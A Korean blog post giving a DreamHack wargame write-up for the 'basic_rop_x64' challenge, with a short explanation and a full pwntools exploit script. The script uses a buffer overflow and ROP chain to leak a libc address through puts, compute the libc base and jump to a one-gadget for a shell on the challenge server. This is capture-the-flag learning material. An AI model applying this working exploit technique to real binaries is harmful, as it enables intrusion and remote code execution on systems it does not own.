상세 컨텐츠

본문 제목

[DreamHack] basic_rop_x64

SYSTEM HACKING/Dreamhack

by koharin 2020. 5. 31. 11:06

본문

728x90
반응형

A까지 받으려고 했는데 잘 안돼서 하위 3바이트 offset은 똑같을 것이므로(?) ‘\x90’까지 받고 뒤에 \x90 붙이고 앞에 \x00\x00을 붙여서 leak을 했고 libc base 구한 후 one gadget off를 더해서 one gadget을 구했다.

그리고 return address->onegadget하면 쉘 획득!

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./basic_rop_x64")
p = remote("host1.dreamhack.games", 8248)
elf = ELF("./basic_rop_x64")
libc = elf.libc
pop_rdi = 0x00400883

pay = 'A'*(0x40+0x8)
pay += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
pay += p64(elf.symbols['main'])

p.send(pay)

p.recvuntil('\x90')
leak = u64('\x90' + p.recvuntil('\x7f') + '\x00\x00')
log.info("leak : "+hex(leak))
libcBase = leak - libc.symbols['puts']
one_gadget = libcBase + 0x45216

p.send('A'*(0x40+0x8) + p64(one_gadget))

p.interactive()

728x90
반응형

'SYSTEM HACKING > Dreamhack' 카테고리의 다른 글

[DreamHack] basic_exploitation_001  (0) 2020.05.31
[DreamHack] basic_rop_x86  (0) 2020.05.31
[DreamHack] oneshot  (2) 2020.05.31
[DreamHack] ssp_001  (0) 2020.05.31
[Dreamhack] ssp_000  (0) 2020.05.31

관련글 더보기